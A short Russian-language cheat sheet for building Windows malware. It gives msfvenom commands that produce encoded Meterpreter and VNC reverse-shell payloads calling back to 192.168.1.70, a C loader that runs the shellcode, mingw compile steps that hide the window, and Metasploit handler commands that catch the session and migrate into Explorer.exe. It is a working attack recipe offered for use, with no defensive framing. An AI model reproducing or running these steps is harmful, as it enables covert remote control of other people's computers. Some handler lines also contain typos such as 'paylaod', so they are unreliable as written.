1. Создание файла-вируса(Полезной нагрузки, пэйлоада):
Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.70 lport=444 -e x86/shikata_ga_nai -i 5 -f c > 444_1_70.c

#include <stdio.h>

char code[] =
...
int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);

  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

mingw32-gcc.exe -mwindows I:\444_1_70.c -o I:\444_1_70.exe

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.70
msf exploit(handler) > set lport 444
msf exploit(handler) > exploit

sessions l

ps

migrate ID Explorer.exe

VNC-пэйлоад

msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.1.70 lport=5900 -e x86/shikata_ga_nai -i 5 -f c > vnc_1_70.c

#include <stdio.h>

char code[] =
...
int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);

  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
mingw32-gcc.exe -mwindows I:\vnc_1_70.c -o I:\vnc_1_70.exe


msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.70
msf exploit(handler) > set lport= 5900
msf exploit(handler) > exploit